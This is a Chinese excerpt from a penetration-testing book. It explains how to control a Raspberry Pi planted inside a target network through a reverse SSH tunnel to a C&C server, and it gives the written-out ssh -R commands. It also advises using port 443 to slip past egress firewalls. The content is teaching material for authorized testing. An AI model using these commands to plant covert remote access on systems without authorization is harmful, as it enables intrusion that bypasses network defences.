《树莓派渗透测试实战》——2.9 通过SSH做反向Shell

简介:

本节书摘来异步社区《树莓派渗透测试实战》一书中的第2章,第2.9节,作者【美】Joseph Muniz(约瑟夫 穆尼斯) , Aamir Lakhani(阿米尔 拉克哈尼),更多章节内容可以访问云栖社区“异步社区”公众号查看。

2.9 通过SSH做反向Shell

前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后,首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。

因为Kali Linux是一套完整功能的Linux操作系统,可以通过SSH控制整个系统;然而,从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施,以拦截接入的连接,避免自己的网络被开后门。在白盒评估测试中,也许可以明确地要求在防火墙上开放端口设置,以访问到树莓派的SSH服务,如图2-19所示的那样。但即使公司政策不反对这一做法,但实际操作中很难实现,因为使用场景涉及多个地点,它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。

c67f3e28cac557b6c0e3e74b723058a7ddf35241

在反向连接中,是由客户端连向服务器端,也是由它初始化到服务器端的连接,而不是服务器连到客户端。当然在这两种情况下,都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便,我们把这种技术用于系统管理。

许多入侵检测和拦截系统都会检查出SSH类型的流量,无论是从哪个端口进出。例如,即使同样采用443端口,SSH流量和常规的HTTPS也还是会有差异。
使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态,等待接受反向SSH连接。在设置的场景里,C&C服务器就是监听端。远程主机(树莓派)上使用的命令语法是:ssh -R [绑定的地址:]远程端口:本地主机:本地端口[6]。

R开关定义了远端树莓派要和哪个外网端口连接,以及如何发起连接。换而言之,还需要选择一个外网端口,让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格,使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口,也就是客户端通常可以自由地连接外网这些端口。

某些严格限制外连的协议检测设备,如下一代防火墙、下一代IPS(入侵检测系统)和高级代理服务器可能会阻断这些连接。
本地端口是树莓派上某个服务的监听端口。在本场景中,运行的是SSH服务,所以本地端口默认是22。也可以把默认端口改得更隐秘些,或者使用加密通道,这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口,它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。

在树莓派的例子里,输入以下命令:

ssh -fN -R 7000:localhost:22  C&C服务器端用户名@C&C服务器IP地址
ssh -fN -R 7000:localhost:22  root@192.168.162.133```
上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用,那就再换一个。如图2-20所示,大多数机构都允许外连到443端口。

<div style="text-align: center"><img src="https://yqfile.alicdn.com/343be2954088e97cffe738b5e874e0420a45ee86.png" width="" height="">
</div>

所以根据图2-20的情况再换一个外连端口试试,在树莓派上执行如下命令:

ssh -fN -R 443:localhost:22 root@192.168.162.133`
在C&C服务器端,打开命令行终端,输入以下命令:

ssh root@localhost -p 443```
根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后,命令行提示符变了。我们实际上已经登录到远程的树莓派上,可以完全控制它了,关系如图2-21所示。

<div style="text-align: center"><img src="https://yqfile.alicdn.com/d056d15762be744463dba3bfd86e7b70988c0eae.png" width="" height="">
</div>

要确保已安装OpenSSH服务并处于运行状态,否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数,确保树莓派默认重启后会启动SSH,这点很重要。
相关文章
|
2月前
|
安全 Shell Linux
【Shell 命令集合 文件管理】Linux ssh 远程主机之间复制文件 scp 命令使用教程
【Shell 命令集合 文件管理】Linux ssh 远程主机之间复制文件 scp 命令使用教程
43 0
|
9月前
|
运维 Ubuntu Linux
【树莓派4B安装18.04桌面+远程SSH】
【树莓派4B安装18.04桌面+远程SSH】
263 0
|
7月前
|
网络协议 网络安全 数据安全/隐私保护
内网穿透——SSH远程连接树莓派
内网穿透——SSH远程连接树莓派
|
4月前
|
安全 Shell 网络安全
远程登录安全连接协议SSH(Secure Shell)
SSH(Secure Shell)协议是一种用于在不安全网络上提供安全远程登录、命令执行和数据传输的加密网络协议,通过公钥加密和身份验证技术确保通信的安全性和隐私性。
97 0
|
5月前
|
网络协议 Linux 网络安全
无公网IP环境固定地址远程SSH访问本地树莓派Raspberry Pi
无公网IP环境固定地址远程SSH访问本地树莓派Raspberry Pi
|
7月前
|
网络协议 安全 网络安全
无公网IP,公网SSH远程访问家中的树莓派【无公网IP内网穿透】
无公网IP,公网SSH远程访问家中的树莓派【无公网IP内网穿透】
|
7月前
|
网络协议 网络安全 数据安全/隐私保护
内网穿透实现公网SSH远程连接树莓派
内网穿透实现公网SSH远程连接树莓派
|
7月前
|
Shell Linux 网络安全
git实战—Gerrit配置SSH key & 下载代码到本地 & 使用VScode编辑器编辑提交代码——2023.07
git实战—Gerrit配置SSH key & 下载代码到本地 & 使用VScode编辑器编辑提交代码——2023.07
323 0
|
8月前
|
Ubuntu 网络协议 机器人
|
网络安全 PHP
记一次实战渗透测试
记一次实战渗透测试
记一次实战渗透测试